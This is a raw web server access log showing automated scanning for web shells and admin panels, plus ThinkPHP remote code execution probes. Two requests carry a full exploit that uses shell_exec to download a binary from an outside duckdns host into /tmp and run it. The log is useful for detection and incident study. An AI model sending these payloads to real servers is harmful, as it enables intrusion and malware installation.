40.83.125.200 - - [03/Feb/2020:14:19:34 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:34 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:34 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:35 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:35 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:36 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:36 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:36 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:37 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:38 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:38 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:38 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:39 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:39 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:39 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:40 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:40 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:40 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
63.143.35.226 - - [03/Feb/2020:14:19:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
40.83.125.200 - - [03/Feb/2020:14:20:03 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:03 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:04 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:04 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:05 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:05 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:05 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
63.143.35.226 - - [03/Feb/2020:14:20:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
40.83.125.200 - - [03/Feb/2020:14:20:06 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:06 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:07 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:07 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:08 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:08 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:08 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:09 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:10 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:10 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:11 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:11 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
63.143.35.226 - - [03/Feb/2020:14:20:11 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
40.83.125.200 - - [03/Feb/2020:14:20:12 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:12 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:13 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:13 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:13 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:14 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:14 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:15 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:15 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:16 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:16 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:17 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:17 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:17 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:18 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:18 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:19 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:19 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:19 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:20 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:20 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:20 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:21 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:21 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:22 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:22 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:22 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:23 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:23 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:24 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:24 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:24 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:25 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:25 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:25 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:26 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:26 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:26 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:27 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:27 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:27 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:28 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:28 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:29 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:29 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:29 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:30 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:30 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
63.143.35.226 - - [03/Feb/2020:14:20:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
40.83.125.200 - - [03/Feb/2020:14:20:30 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:31 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:31 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:31 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:32 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:32 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [03/Feb/2020:14:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:20:32 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:33 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:33 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:20:33 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
109.94.115.103 - - [03/Feb/2020:14:20:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
40.83.125.200 - - [03/Feb/2020:14:20:56 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
40.83.125.200 - - [03/Feb/2020:14:21:20 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:14:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:21:44 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
40.83.125.200 - - [03/Feb/2020:14:22:08 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
34.221.203.151 - - [03/Feb/2020:14:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
54.189.187.188 - - [03/Feb/2020:14:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:14:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:22:32 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
40.83.125.200 - - [03/Feb/2020:14:22:57 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
54.218.59.56 - - [03/Feb/2020:14:23:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
52.39.183.101 - - [03/Feb/2020:14:23:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
40.83.125.200 - - [03/Feb/2020:14:23:21 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
42.119.138.165 - - [03/Feb/2020:14:23:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:14:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:23:44 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
111.34.69.117 - - [03/Feb/2020:14:23:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
40.83.125.200 - - [03/Feb/2020:14:24:05 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
40.83.125.200 - - [03/Feb/2020:14:24:28 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
40.83.125.200 - - [03/Feb/2020:14:24:28 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
40.83.125.200 - - [03/Feb/2020:14:24:28 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
40.83.125.200 - - [03/Feb/2020:14:24:29 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
40.83.125.200 - - [03/Feb/2020:14:24:29 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [03/Feb/2020:14:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
